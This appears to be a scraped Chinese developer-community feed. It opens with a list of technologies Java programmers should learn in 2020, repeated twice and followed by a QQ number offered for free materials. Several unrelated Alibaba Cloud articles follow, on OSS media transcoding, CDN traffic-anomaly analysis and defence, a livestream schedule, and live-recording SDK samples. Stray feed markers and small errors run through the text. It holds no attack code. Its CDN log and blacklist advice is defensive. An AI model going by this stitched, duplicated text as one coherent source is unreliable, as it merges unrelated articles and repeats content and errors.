    怎么说呢,最近几年的时间里,对于java开发人员来说,都知道java生态诞生了很多东西.每半年更新一次版本,发布了很多的流行的框架,像Spring5,Spring Security 5,Spring Boot 2等,这些都给我们带来了很多的挑战,但是也带来了很大的机遇.

    java版本更迭的速度确实是太快了,在2019年初,我认为java10还是比较新的,但是,在我学习完所有java10的特性之前,java11,java12,java12已经接憧而至,对于工作繁忙的程序员们来说,大多数人都根本没有时间看这些.基本也是了解一些有用的新特性而已呢.

    在2019年初,我认为Java 10还是比较新的,但是,在我学习完所有Java 10的特性之前,Java 11、Java 12、Java 12 已经接踵而至,对于工作繁忙的程序员们来说,大多数人都根本没有时间看这些。基本是都是了解一些有用的新特性而已。但是,新版本也带来了很多有趣的特性,如本地变量类型推断,switch表达式,文本块支持等.


    java的第一大框架,Spring.很多人的项目还在用Spring Security 3.1,根本不知道Spring 4.0 ,更别说他有什么特性了.但其实,Spring和Spring security 都已经出到了5.0版本.

    这是我列出来的2020年开发者应该学习的技术:

    1、DevOps (Docker and Jenkins)

    过去的一年,越来越多的公司正在转型DevOps,DevOps非常庞大,需要学习很多工具和原理,但你不需要担心。有大神已经分享了DevOps路线图(https://github.com/kamranahmedse/developer-roadmap,可以按照这个路线图以自己的速度学习和掌握DevOps。

    2020年Java程序员应该学习的10大技术

    如果你是一个有经验的Java程序员,愿意学习环境管理、自动化和整体改进,你也可以成为DevOps工程师。

    2、Java 9 - Java 15

    相信现在很多Java开发人员主要使用的Java版本还是以Java 8为主,虽然Java 9 - Java 13已经推出了有一段时间。

    但是作为Java程序员,我们可能因为某些原因没办法在线上环境真正的进行JDK的升级,但是花一些时间学习Java 9、Java 10、Java 11、Java 12和 Java 13的新特性还是有必要的。

    另外,大家可以重点关注一些关键特性,如GC相关的特性、对编码风格有改变的特性等。还有就是Java的LTS版本(Java 8、Java 11)要重点学习。

    还要提醒大家一点,在2020年,Oracle还会推出Java 14 和 Java 15!!!如果你在使用Java 7的话,马上就要被"套圈"了!

    3、Spring Framework 5

    2017年我们见证了Spring和Java生态系统的许多重大升级,Spring 5.0就是其中之一。Spring 5 的新反应式编程模型、HTTP/2 支持,以及 Spring 通过 Kotlin 对函数式编程的全面支持这些都值得我们好好了解一下。

    4、Spring Security 5.0

    Spring Security 5.0 提供了许多新功能,并支持 Spring Framework 5.0,总共有 400 多个增强功能和 bug 修复。在Spring Security 5.0.0之前,密码是明文保存,十分不安全。因为这一次发布的是大版本,所以我们决定使用更安全的密码存储方式。Spring Security 5.0.0的主要亮点在于它只需要最小化的JDK 8、反应式安全特性、OAuth 2.0(OIDC)和现代密码存储。

    5、Spring Boot 2

    Spring Boot 2.0 基于 Spring 5 Framework ,提供了 异步非阻塞 IO 的响应式 Stream 、非堵塞的函数式 Reactive Web 框架 Spring WebFlux等特性。很多使用过SpringBoot的人都知道,使用SpringBoot搭建Web应用真的是又快又好,相信Spring Boot 2会带来更多惊喜。

    6、Hadoop、Spark 和 Kafka

    另外在2020年Java程序员需要学习的是大数据相关的知识。特别是Apache Spark 和 Kafka两个框架。

    2020年Java程序员应该学习的10大技术

    如果你也想在2020年学习大数据,也一定绕不开Hadoop生态。

    7、Elasticsearch

    全文搜索属于最常见的需求,开源的 Elasticsearch (以下简称 Elastic)是目前全文搜索引擎的首选。维基百科、Stack Overflow、Github 都在使用它。

    > Elasticsearch是一个基于Lucene库的搜索引擎。它提供了一个分布式、支持多租户的全文搜索引擎,具有HTTP Web接口和无模式JSON文档。Elasticsearch是用Java开发的,并在Apache许可证下作为开源软件发布。

    8、ServiceMesh

    这两年很火,火的一塌糊涂。在2019年,但凡是程序员相关的大会,如果没有讲ServiceMest的专题,那都不好意思开。

    所有人都在说 ServiceMesh;

    几乎没人知道怎么落地 ServiceMesh;

    但是大家都觉得其他人在大力做 ServiceMesh;

    所以大家都宣称自己在做 ServiceMesh;

    这个号称下一代微服务架构的概念,现在对于大多数人来说根本不知道是啥。只知道很多大厂宣称自己在做,很多大牛在布道。

    9、Serverless

    无服务器运算(英语:Serverless computing),又被称为功能即服务(Function-as-a-Service,缩写为 FaaS),是云计算的一种模型。以平台即服务(PaaS)为基础,无服务器运算提供一个微型的架构,终端客户不需要部署、配置或管理服务器服务,代码运行所需要的服务器服务皆由云平台来提供。这东西,听上去就很高大上。

    2019年,和ServiceMesh一样,所有人都宣称自己在做。但是又很很多人不知道他到底是什么。

    10、Kotlin

    如果大家有关注Java 13的新特性的话,一定知道推出了字符串文本块的功能,这个功能其实是借鉴的Kotlin,除此之外,最近几年,Java有很多特性都在借鉴Kotlin,相比较于Java,Kotlin更加简洁,而且Kotlin编出来的代码也可以直接通过JVM运行。

    > Kotlin是一种在Java虚拟机上运行的静态类型编程语言,它也可以被编译成为JavaScript源代码。Kotlin的设计初衷就是用来生产高性能要求的程序的,所以运行起来和Java也是不相上下。Kotlin可以从 JetBrains InteilliJ Idea IDE这个开发工具以插件形式使用。

    感谢大家的阅读,觉得可以的话,还请给个关注不迷路.小编会不断更新java方面的知识和内容,与大家分享.

    如果想要获取免费java相关资料,请加1023554403
    对于Java开发人员来说,最近几年的时间中,Java生态诞生了很多东西。每6个月更新一次Java版本,以及发布很多流行的框架,如Spring 5、Spring Security 5和Spring Boot 2等,这些都给我们带来了很大的挑战。

    在2019年初,我认为Java 10还是比较新的,但是,在我学习完所有Java 10的特性之前,Java 11、Java 12、Java 12 已经接踵而至,对于工作繁忙的程序员们来说,大多数人都根本没有时间看这些。基本是都是了解一些有用的新特性而已。

    Java的版本迭代速度实在是太快了,也带来了很多有趣的特性,如本地变量类型推断、switch表达式、文本块支持等。

    Java系第一大框架,Spring亦是如此,很多人的项目还在用Spring Security 3.1 ,甚至不知道Spring 4.0和Spring Security 4.0都有哪些特性。但是,Spring和Spring Security都已经出到了5.0版本。

    以下是我列出的2020年Java开发者应该学习的技术:

    1、DevOps (Docker and Jenkins)

    过去的一年,越来越多的公司正在转型DevOps,DevOps非常庞大,需要学习很多工具和原理,但你不需要担心。有大神已经分享了DevOps路线图(https://github.com/kamranahmedse/developer-roadmap,可以按照这个路线图以自己的速度学习和掌握DevOps。

    2020年Java程序员应该学习的10大技术

    如果你是一个有经验的Java程序员,愿意学习环境管理、自动化和整体改进,你也可以成为DevOps工程师。

    2、Java 9 - Java 15

    相信现在很多Java开发人员主要使用的Java版本还是以Java 8为主,虽然Java 9 - Java 13已经推出了有一段时间。

    但是作为Java程序员,我们可能因为某些原因没办法在线上环境真正的进行JDK的升级,但是花一些时间学习Java 9、Java 10、Java 11、Java 12和 Java 13的新特性还是有必要的。

    另外,大家可以重点关注一些关键特性,如GC相关的特性、对编码风格有改变的特性等。还有就是Java的LTS版本(Java 8、Java 11)要重点学习。

    还要提醒大家一点,在2020年,Oracle还会推出Java 14 和 Java 15!!!如果你在使用Java 7的话,马上就要被"套圈"了!

    3、Spring Framework 5

    2017年我们见证了Spring和Java生态系统的许多重大升级,Spring 5.0就是其中之一。Spring 5 的新反应式编程模型、HTTP/2 支持,以及 Spring 通过 Kotlin 对函数式编程的全面支持这些都值得我们好好了解一下。

    4、Spring Security 5.0

    Spring Security 5.0 提供了许多新功能,并支持 Spring Framework 5.0,总共有 400 多个增强功能和 bug 修复。在Spring Security 5.0.0之前,密码是明文保存,十分不安全。因为这一次发布的是大版本,所以我们决定使用更安全的密码存储方式。Spring Security 5.0.0的主要亮点在于它只需要最小化的JDK 8、反应式安全特性、OAuth 2.0(OIDC)和现代密码存储。

    5、Spring Boot 2

    Spring Boot 2.0 基于 Spring 5 Framework ,提供了 异步非阻塞 IO 的响应式 Stream 、非堵塞的函数式 Reactive Web 框架 Spring WebFlux等特性。很多使用过SpringBoot的人都知道,使用SpringBoot搭建Web应用真的是又快又好,相信Spring Boot 2会带来更多惊喜。

    6、Hadoop、Spark 和 Kafka

    另外在2020年Java程序员需要学习的是大数据相关的知识。特别是Apache Spark 和 Kafka两个框架。

    2020年Java程序员应该学习的10大技术

    如果你也想在2020年学习大数据,也一定绕不开Hadoop生态。

    7、Elasticsearch

    全文搜索属于最常见的需求,开源的 Elasticsearch (以下简称 Elastic)是目前全文搜索引擎的首选。维基百科、Stack Overflow、Github 都在使用它。

    Elasticsearch是一个基于Lucene库的搜索引擎。它提供了一个分布式、支持多租户的全文搜索引擎,具有HTTP Web接口和无模式JSON文档。Elasticsearch是用Java开发的,并在Apache许可证下作为开源软件发布。

    8、ServiceMesh

    这两年很火,火的一塌糊涂。在2019年,但凡是程序员相关的大会,如果没有讲ServiceMest的专题,那都不好意思开。

    所有人都在说 ServiceMesh;

    几乎没人知道怎么落地 ServiceMesh;

    但是大家都觉得其他人在大力做 ServiceMesh;

    所以大家都宣称自己在做 ServiceMesh;

    这个号称下一代微服务架构的概念,现在对于大多数人来说根本不知道是啥。只知道很多大厂宣称自己在做,很多大牛在布道。

    9、Serverless

    无服务器运算(英语:Serverless computing),又被称为功能即服务(Function-as-a-Service,缩写为 FaaS),是云计算的一种模型。以平台即服务(PaaS)为基础,无服务器运算提供一个微型的架构,终端客户不需要部署、配置或管理服务器服务,代码运行所需要的服务器服务皆由云平台来提供。这东西,听上去就很高大上。

    2019年,和ServiceMesh一样,所有人都宣称自己在做。但是又很很多人不知道他到底是什么。

    10、Kotlin

    如果大家有关注Java 13的新特性的话,一定知道推出了字符串文本块的功能,这个功能其实是借鉴的Kotlin,除此之外,最近几年,Java有很多特性都在借鉴Kotlin,相比较于Java,Kotlin更加简洁,而且Kotlin编出来的代码也可以直接通过JVM运行。

    Kotlin是一种在Java虚拟机上运行的静态类型编程语言,它也可以被编译成为JavaScript源代码。Kotlin的设计初衷就是用来生产高性能要求的程序的,所以运行起来和Java也是不相上下。Kotlin可以从 JetBrains InteilliJ Idea IDE这个开发工具以插件形式使用。

    感谢大家的阅读,觉得可以的话,还请给个关注不迷路.小编会不断更新java方面的知识和内容,与大家分享.

    如果想要获取免费java相关资料,请加1023554403

    ]]>
    OSS 解决方案篇-OSS 结合 媒体处理 使用-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 先了解 MPS

    媒体处理(ApsaraVideo Media Processing,原MTS)是一种多媒体数据处理服务。它以经济、弹性和高可扩展的音视频转换方法,帮助您将存储于OSS的音视频转码成适合在PC、TV以及移动终端上播放的格式。并基于海量数据深度学习,对音视频的内容、文字、语音、场景多模态分析,实现智能审核、内容理解、智能编辑。

    支持格式

    输入格式

    • 容器格式:3GP、AVI、FLV、MP4、M3U8、MPG、ASF、WMV、MKV、MOV、TS、WebM、MXF
    • 视频编码格式:H.264/AVC、H.263、 H.263+、H.265、MPEG-1、MPEG-2、MPEG-4、MJPEG、VP8、VP9、Quicktime、RealVideo、Windows Media Video
    • 音频编码格式:AAC、AC-3、ADPCM、AMR、DSD、MP1、MP2、MP3、PCM、RealAudio、Windows Media Audio

    输出格式

    • 容器格式:

      • 视频:FLV、MP4、HLS(m3u8+ts)、MPEG-DASH(MPD+fMP4)
      • 音频:MP3、MP4、OGG、FLAC、m4a
      • 图片:GIF、WEBP
    • 视频编码格式:H.264/AVC、 H.265/HEVC
    • 音频编码格式:MP3、AAC、VORBIS、FLAC

    MPS 转码方式

    API 提交转码作业

    通过 API 根据 OSS 文件存储地址的方式,用 MPS 预置系统的转码模版进行转码。将源文件下载后进行转码然后在回传到 OSS。
    提交转码作业

    通过 API 根据 OSS 文件存储地址的方式,用自定义的 MPS 模版进行转码。将源文件下载后进行转码然后在回传到 OSS,这种方式比较灵活,能自定义转码模版适合自由度高,对音视频编解码深度了解的客户;
    自定义转码模版
    提交转码作业

    工作流自动触发

    如果用户有大量文件新传到 OSS 需要批量触发转码可以通过工作来完成。这种模式是 OSS 通过 mns 事件通知的方式告知 MPS,然后触发工作流,开始按照配置的转码规则进行转码。

    工作的特点可以大批量文件自动触发执行,通过管道的方式设置消息通知来回调客户端,异步非阻塞的模式降低用户的代码成本。

    工作流可以配置多个,每个工作流可以使用监听不同的 OSS prefix ,使用不用的媒体转码管道,将用户的不同业务隔离开。

    image.png

    工作流配置方法

    1、首先用户先要开通媒体处理产品功能,并且绑定好媒体处理所在地区的 bucket 信息,这里媒体处理的输入输出 bucket region 需要和媒体处理开通的区域一致;
    而且需要注意,媒体处理绑定 bucket 是要有授权的,所以需要子账号尽量具备 OSS 管理权限;

    image.png

    2、创建工作流
    创建工作流选用方式很多种,可以自己定义一个规则,选择自己想要转码还是截图,灵活度很高;
    如果用户不是对编解码很懂,也可以使用系统推荐的一些模版。但这里要注意尽量不要用预置智能模版,智能模版需要对源文件进行音视频文件分析然后和你转码输出的规则匹配,如果匹配失败则不会触发转码,尽量不要使用,如果很清楚自己业务输入视频和输出视频的内容规则可以使用;

    image.png

    3、如果选择自定工作流,可以在 + 号的位置,灵活定义你需要的功能,不需要的不用引入;但是需要注意下,如果转码后的文件最后发布时没有选择自动发布,那么 OSS 转码后的文件还不能被公开访问到,需要手动发布下,建议都用自动发布,如果有内容鉴黄的需求可以改成手动发布;

    image.png

    image.png

    4、如果需要工作流转码完成后回调用户,可以对管道设置消息通知,这里用的是 mns 消息服务产品,涉及到消息服务产品的计费请先了解好;

    image.png

    5、配置好的工作流方式是监听到 OSS 的事件后自动触发,但很多用户时 API 或者 SDK 调用工作流,希望能控制工作流的触发模式,可以参考 更新媒体工作流触发模式
    触发模式(范围:OssAutoTrigger 自动执行、NotInAuto 非自动执行)

    FQA

    如果获取 OSS 视频文件编码信息

    用户可以调用 查询媒体 接口来获取 OSS 存储的视频文件信息(视频宽高、码率、容器格式等信息)

    如何加速大文件的转码效率

    用户基本上都是 1G 以上的大文件,一次性提交了多个文件,类似场景可以提交工单申请倍速转码管道来提高批量大文件的转码效率,但是如果是几百兆或者以下的文件不推荐用倍速转码,并无太多提升效果;

    如果文件较多有上百个或者几十个大文件并发转码时,也可以申请新的转码管道,将 OSS 下不同 prefix 的视频文件按业务分管道转码也可以提高效率;

    取消大量转码中的作业

    如果用户提交太多的大文件,转码需要很长时间才能完成这是正常情况,如果用户等不及需要取消转码中的文件,分多个管道完成也可以的;
    需要先调用 列出转码作业 找到需要取消的 jobid ,然后调用 取消转码作业

    OSS 视频文件能宽高自适应吗

    用户可以选择一边固定,比如宽,然后另外一边自适应不用填写。
    image.png

    ]]>
    CDN流量异常分析以及安全防护-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 问题分析

    CDN流量出现突增时,先要检查是否是有一些业务上的推广导致的流量增加。如果不是业务推广,却突然产生了大量的异常流量,则很可能是被恶意攻击或者刷流量导致,需要定位客户端来源信息来加以防护。通常是借助CDN提供的监控统计以及日志来加以分析。

    一.监控统计
    CDN控制台提供了监控统计分析,包含七个部分:PV/UV、Top客户端IP、地区和运营商、域名排名、热门Referer、热门URL、热门URLs(回源)、域名排行。用户可以导出原始详细数据,如网络带宽、流量、域名按流量占比排名以及访客区域、运营商分布等。用户可以通过这些监控统计分析客户端的来源信息、请求URL、Top客户端等信息。其中中等是分析Top客户端IP以及Top Referer信息,具体可以看如下图

    image.png

    image.png

    注意:Referer为"-"则表示是空Referer的请求。


    二.日志分析
    CDN控制台的显示统计分析报表数据会有延迟,对于正在发生的恶意刷流量或攻击行为,往往无法获取实时的信息,这种情况下需要借助CDN提供的日志来分析定位客户端的来源信息。目前CDN提供的日志分为两种:离线日志和实时日志。
    (1)离线日志:默认开启,日志文件延迟一般情况下延迟在24小时之内,但是也有可能超过24小时。登录CDN控制台,下载日志文件,日志相关字段说明请参日志下载。可以借助Linux命令来分析日志,例如执行如下命令,查询访问量前十的IP:

     
    cat [$Log_Txt] | awk '{print $3}' |sort|uniq -c|sort -nr |head -10

    用同样的方法可以分析访问量前10的Top Referer、URL信息,更多请参考日志分析

    (2)实时日志:属于计费服务,默认不开启,需要手动开启,日志数据延迟不超过3分钟。阿里云CDN通过与日志服务融合,将采集到的实时日志实时推送至日志服务,并进行日志分析。通过日志的实时分析,用户可以快速发现和定位问题。除此之外,通过对日志数据的挖掘,提高数据的决策能力,将您的业务推向一个新的高度,更多请参考实时日志帮助文档。


    安全防护

    通过分析出客户端来源信息以后,可以按照以下处理流程图来处理

    p54340.png

    (1)配置IP黑白名单:通过监控统计分析和日志查看是否存在异常IP地址访问资源。如果有短时间大量访问的恶意IP地址,请将IP地址配置为黑名单。
    (2)配置Referer防盗链:该功能是根据HTTP请求的Referer字段来对请求来源的域名进行筛选和链接。CDN支持三种防盗链设置:白名单、黑名单以及是否允许空refer。防盗链功能主要通过URL过滤的方法对来源Host的地址进行过滤,其中黑名单和白名单只能有一种生效,可以将恶意Referer加入黑名单或将正常业务Referer加入白名单,通过该功能可以对请求来源进行限制。
    (3)配置频次控制:如果恶意IP量比较大且不固定,不容易配置IP黑名单,可以考虑配置频次控制。可以根据实际场景自定义配置频次控制功能,设定单位时间内单IP访问频次超过设定的阈值则触发阻断,通过频次控制功能,可以秒级阻断访问该网站的请求,提升网站的安全性。
    (4)配置URL鉴权:URL鉴权功能主要用于保护用户站点的资源不被非法站点下载盗用。通过防盗链方法添加Referer黑名单和白名单的方式可以解决一部分盗链问题,由于Referer内容可以伪造,所以Referer防盗链方式无法彻底保护站点资源。因此,可以采用URL鉴权方式保护源站资源更为安全有效。
    (5)配置UA黑白名单:可以通过配置User-Agent黑名单和白名单来实现对访客身份的识别和过滤,从而限制访问CDN资源的用户,提升CDN的安全性。


    安全加速

    阿里云CDN是公共的加速服务,承载着成千上万的域名加速,默认不提供抗攻击能力。所以当用户域名遭受大量攻击时,CDN系统会自动将对应域名切入沙箱,防止影响其他正常用户的加速服务,域名进入沙箱后,服务质量不再保证且无法恢复,因此做好防护工作十分重要。
    (1)对于CC攻击,可以考虑配置WAF防护功能,使用CDN WAF功能不能解决恶意刷流量问题,但是可以防数据泄密,避免因黑客的注入入侵攻击,导致网站核心数据被拖库泄露;阻止木马上传网页篡改,保障网站的公信力;提供虚拟补丁,针对网站被曝光的最新漏洞,最大可能地提供快速修复规则。
    (2)如果域名经常遭受攻击,可以根据自身业务需求考虑使用SCDN来做安全加速。SCDN(Secure Content Delivery Network),即拥有安全防护能力的CDN服务,提供稳定加速的同时,深度集成抗DDoS、CC攻击的防护功能。基于阿里云飞天平台的计算能力,使用深度学习的算法,智能预判攻击行为,通过智能的调度系统将DDoS恶意请求平滑切换至高防IP完成清洗,保护源站。


    系统监控

    CDN被恶意刷流量导致流量异常时,会产生一定的经济损失,因此建议提前做好监控和安全防护工作。通常我们可以通过CDN的带宽封顶功能以及云监控的阈值报警功能来做监控。

    一.带宽封顶
    带宽封顶功能是指当统计周期(5分钟)产生的平均带宽超出设置的带宽最大值时,为了保护CDN域名安全,此时域名会自动下线,所有的请求会回到源站,CDN将停止加速服务,避免异常流量给用户带来的异常消费。域名下线后,可以在控制台重新启用该域名,具体请参考带宽封顶

    注:因为触发带宽封顶以后域名会停止CDN加速,域名会解析到源站,因此相当于会把源站地址暴露出去,这里也带宽安全隐患,因此建议根据实际情况考虑使用启用该功能。

    二. 云监控报警规则
    结合阿里云的云监控服务,通过设置云监控的报警功能,可以设置带宽峰值和下行流量的报警规则。当流量达到阈值时,系统自动通过电话、短信、邮件等方式通知用户,请及时采取措施。登录云监控控制台,依次选择【报警服务】>【报警规则】>【阈值报警】>【创建报警规则】,选择产品 CDN以后去设定规则。创建针对CDN的报警规则,详情请参见创建阈值报警规则

    p44266.png

    ]]>
    【0420 - 0424 直播导视 | PPT 下载】藏经阁电子书发布会、金融科技五大核心、相约Flink Forward 全球在线峰会-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 *本预告时间仅供参考,最终直播时间以直播间信息为准。
    *本文提供直播PPT下载,请在对应直播介绍处查看。

    本周直播重磅推荐:

    4月20日:

    藏经阁电子书发布会:《深入浅出Kubernetes》

    直播时间:04-20 16:00
    直播亮点:
    阿里人独创冰箱学习法、压箱经验大放送,教你轻松掌握K8S核心概念和内容,本次分享将给你带来:
    1、职业解读&K8S在阿里的定位,让你了解为什么懂得 K8S 对于运维人员越来越重要,阿里云是如何看待 K8S 的。
    2、 K8S学习的难点解读,让你快速掌握简单 get K8S 的核心概念(控制器、容器等)的方法;
    3、针对运维人员排查问题的秘密武器分享(排查思路+经典案例);
    4、重中之重:《深入浅出Kubernetes》电子书:集线上海量案例沉淀、理论实践完美契合、理论阐述深入浅出、技术细节追根究底的精品。
    分享嘉宾
    声东,阿里云技术专家

    *PPT下载待更新

    4月21日:

    【阿里CIO学院“技术攻疫大咖说第十九期】从金融智能到区块链:金融科技的五大核心技术与未

    直播时间:04-21 19:00
    直播亮点:
    “金融科技是未来全球金融竞争的制高点,谁掌握好这一最先进的生产力,谁就拥有最强的金融核心竞争力。"近几年全球金融科技领域有哪些重大突破?金融科技有哪些热点技术、核心武器?区块链技术在金融领域有哪些典型的落地场景?4月21日(周二)晚19:00,阿里巴巴集团副总裁、阿里云智能新金融负责人,与您共同探索。

    *PPT下载待更新

    CIO 学院往期视频回看:

    4月22日:

    阿里云新品发布会第90期:数据库自治服务DAS重磅新品发布会

    直播时间:04-22 15:00
    直播亮点:
    数据库自治服务DAS重磅新品发布会,嘉宾分享经验之道,真正实现数据库的自感知、自修复、自优化、自运维等功能。

    *PPT下载待更新

    【阿里的K8s测试环境开源工具箱】第二期:单人开发场景下的测试环境实践

    直播时间:04-22 16:00
    直播亮点:
    在第一次直播中,我们学习阿里巴巴测试环境管理实践,在集团特殊的网络环境以及强大的中间件能力,阿里开发者可以在本地完成与其它服务的联调与测试。
    而在阿里之外,我们如何才能快速构建起本地与云上Kubernetes集群之间的高速通道,从而实现高效的本地开发测试呢?

    *PPT下载待更新

    4月23日:

    【阿里CIO学院“技术攻疫大咖说第二十期】平头哥:云端一体的数字经济之“芯”

    直播时间:04-23 19:00
    直播亮点:
    数字经济时代下,阿里巴巴如何利用云计算驱动数据赋能,而作为阿里巴巴芯片领域的又一布局,是如何实现数智化计算创新?
    数字经济已成为中国经济增长的新引擎
    让物理世界数据化和智能化是平头哥目标
    云端一体的新应用催生芯片架构的创新
    分享嘉宾
    孟建熠:阿里巴巴集团研究员、平头哥半导体副总裁

    *PPT下载待更新

    CIO 学院往期视频回看:

    全球顶尖java:RSocket:the key to cloud native micro-services architecture

    直播时间:04-16 19:00
    分享嘉宾
    Andy Shi

    *PPT下载待更新

    4月24日:

    阿里巴巴自研代码管理平台技术解密

    直播时间:04-24 16:00
    直播亮点:
    阿里自研的代码管理平台(Codeup)已在阿里云上线公测。最近经常有客户和同事会问一个问题,为什么阿里要重新做一套代码管理平台,继续用阿里云上的GitLab版本不是挺好的吗?本次分享将围绕自研代码管理平台的起因、平台的核心能力以及平台核心技术等方面带领大家进行全方位的解读。
    分享亮点
    1.阿里为什么要自研代码管理平台?
    2.Codeup是什么,用户为什么要使用云端托管平台?
    3.Codeup提供哪些核心能力,技术上是如何实现的?
    分享嘉宾
    张玉明(花名:玄坛):阿里巴巴高级技术专家

    *PPT下载待更新

    4月25日:

    Flink Forward 全球在线会议中文精华版0425

    直播时间:04-25 10:00
    直播亮点:
    Apache 顶级项目盛会 Flink Forward 在线会议集结欧洲、北美洲、亚洲众多国际大厂资深技术专家跨时区免费在线分享。中文精华版将由 Apache Member 、Flink PMC 及社区投票共同筛选大会精彩 talk,翻译并进行中文解说,让你足不出户尽享优质内容。

    *PPT下载待更新

    4月26日:

    Flink Forward 全球在线会议中文精华版0426

    直播时间:04-26 10:00
    直播亮点:
    Apache 顶级项目盛会 Flink Forward 在线会议集结欧洲、北美洲、亚洲众多国际大厂资深技术专家跨时区免费在线分享。中文精华版将由 Apache Member 、Flink PMC 及社区投票共同筛选大会精彩 talk,翻译并进行中文解说,让你足不出户尽享优质内容。

    *PPT下载待更新
    ]]>
    OSS 解决方案篇-OSS 结合 视频直播使用-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 功能描述
    • 视频直播是将推流端的数据流实时的通过播流地址进行播放,因此后续如果需要再对播放历史直播数据就必须要使用视频直播的录制功能。视频直播的录制功能就是将视频中心接收到的推流端推流的数据进行录制,并将其保存成 hls 协议的封装格式存储到 OSS 中。
    • 用户常需要对视频直播的内容进行分析。例如,需要对直播中的某一帧的内容作为封面图片或者对于直播内容进行鉴黄以查看内容合法性等需求。因此,视频直播提供了实时截图功能满足用户的截图需求。
    • 视频直播的录制功能可以将直播数据录制成 HLS 协议文件,详情参考 直播录制功能介绍。视频直播录制在直播过程中会生成 TS 文件,但是仅在推流结束 180 秒后才会生成 m3u8 索引文件,无法在直播过程中生成,并且该索引文件时间为推流开始到结束,用户无法根据业务需要自定义索引范围。因此,视频直播提供录制索引管理功能供用户对录制索引 m3u8 文件的管理功能。

    录制功能介绍

    配置视频直播的录制功

    • 通过控制台创建:控制台配置方法请参考 录制存储至OSS、录制存储至VOD。
    • 通过 API/SDK 创建:API/SDK 提供了创建、删除以及查询的功能,创建录制配置请参考 添加 APP 录制配置,删除录制配置请参考 删除 APP 录制配置,查看录制配置可以分别查询整个直播域名和单个 AppName 的录制配置,请参考 查询域名录制配置 和 查询 APP 录制配置。下面提供使用 Java SDK 添加 APP 录制配置的示例代码。

    录制代码如下

            IClientProfile profile = DefaultProfile.getProfile("cn-hangzhou","<AccessKeyId>", "<AccessKeyScret>");
            IAcsClient client = new DefaultAcsClient(profile);
    
            AddLiveAppRecordConfigRequest addLiveAppRecordConfigRequest = new AddLiveAppRecordConfigRequest();
            addLiveAppRecordConfigRequest.setDomainName("<DomainName>");
            addLiveAppRecordConfigRequest.setAppName("<AppName>");
            addLiveAppRecordConfigRequest.setOssEndpoint("<Endpoint>");
            addLiveAppRecordConfigRequest.setOssBucket("<BucketName>");
            addLiveAppRecordConfigRequest.setOssObjectPrefix("<ObjectPrefix>");
            try {
                AddLiveAppRecordConfigResponse addLiveAppRecordConfigResponse = client.getAcsResponse(addLiveAppRecordConfigRequest);
                System.out.println(addLiveAppRecordConfigResponse.getRequestId());
                // todo something.
            } catch (ServerException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (ClientException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }

    查看录制文件

    录制配置后新发起的推流在满足 AppName 录制配置时即会自动录制推流的数据。推流过程中即会生成对应的 TS 文件到配置目录中。而对应的索引 m3u8 文件需要在推流 180 秒结束后生成(180 秒为兼容直播推流过程由于网络抖动等问题导致的推流短时间中断)。其默认命名规则为{AppName}/{StreamName}/{EscapedStartTime}_{EscapedEndTime}.m3u8,其中,AppName为直播流所属应用名称,StreamName为流名称,EscapedStartTime为录制开始时间,EscapedEndTime为录制结束时间,下图即是一组录制后的 ts 和 m3u8 文件列表示意图。

    image.png

    截图功能

    用户常需要对视频直播的内容进行分析。例如,需要对直播中的某一帧的内容作为封面图片或者对于直播内容进行鉴黄以查看内容合法性等需求。因此,视频直播提供了实时截图功能满足用户的截图需求。

    截图功能配置

    配置视频直播的截图功能可以通过两种方法:

    • 通过控制台创建。参见 配置截图。
    • 通过API/SDK:API/SDK提供了添加、删除、查询和更新截图配置的接口。详情参见 添加截图配置、删除截图配置、查询截图配置、更新截图配置、查询截图信息。下面提供使用Java SDK添加截图配置的示例代码。
      IClientProfile profile = DefaultProfile.getProfile("cn-hangzhou","<AccessKeyId>", "<AccessKeySecret>");
        IAcsClient client = new DefaultAcsClient(profile);
    
        AddLiveAppSnapshotConfigRequest addLiveAppSnapshotConfigRequest = new AddLiveAppSnapshotConfigRequest();
        addLiveAppSnapshotConfigRequest.setDomainName("<DomainName>");
        addLiveAppSnapshotConfigRequest.setAppName("<AppName>");
        addLiveAppSnapshotConfigRequest.setTimeInterval(5);
        addLiveAppSnapshotConfigRequest.setOssEndpoint("<Endpoint>");
        addLiveAppSnapshotConfigRequest.setOssBucket("<BucketName>");
        addLiveAppSnapshotConfigRequest.setOverwriteOssObject("{AppName}/{StreamName}.jpg");
        try {
            AddLiveAppSnapshotConfigResponse addLiveAppSnapshotConfigResponse = client.getAcsResponse(addLiveAppSnapshotConfigRequest);
            System.out.println(addLiveAppSnapshotConfigResponse.getRequestId());
            // todo something.
        } catch (ServerException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (ClientException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        

    查看截图文件

    上述截图配置完成后新发起的推流即可生成截图,查看截图的方法包括以下三种:
    OSS控制台提供截图管理功能。参见 删除截图。
    API/SDK提供了查询截图信息的接口。参见 查询截图信息。
    在知晓截图录制地址时可以直接在该媒体Bucket的对应目录查看生成结果,请参考下图。

    image.png

    FQA

    录制常见问题

    1、直播录制是针对于推流的 AppName 为粒度设置的,用户可以设置某个 AppName 下的所有 StreamName 的录制规则。并且 AppName 支持 “*” 通配符,表示该录制规则是针对于该直播域名下的所有推流均生效的,录制生效需要注意推流的 AppName 需要与配置的 AppName 匹配。

    2、使用直播录制功能是需要开通视频点播服务的,并且录制生成的 m3u8 和 TS 文件都将存放在视频点播的输入媒体 Bucket 中,详情参考 媒体 Bucket 的增删改操作。

    3、录制设置中可以设置变量,默认的录制TS文件存放地址为:record/{Date}/{AppName}/{StreamName}/{UnixTimestamp}_{Sequence},其中的变量均是使用 “{}” 引起的,用户可以自行修改或者变更为常量。各变量的意义请参考控制台配置录制。

    4、录制设置仅会对配置完成后的新发起的推流记录生效,当前的推流需中断 180 秒后重新推流方可生效。

    5、录制配置中 ObjectName 是包括了前缀的文件名称,OSS 中的目录是逻辑概念,目录是 Object 的 key 值的前缀。详情参考 OSS目录/文件夹概念。

    6、录制自动生成的索引 m3u8 文件仅有在断流 180 秒后才可以正常生成,如果用户需要在没有断流时生成索引文件提供播流访问,请参考 直播录制索引创建。

    7、同样的AppName 和 StreamName不能同时存储至VOD和OSS,只能二者选其一,不能重复添加、冲突。

    截图常见问题

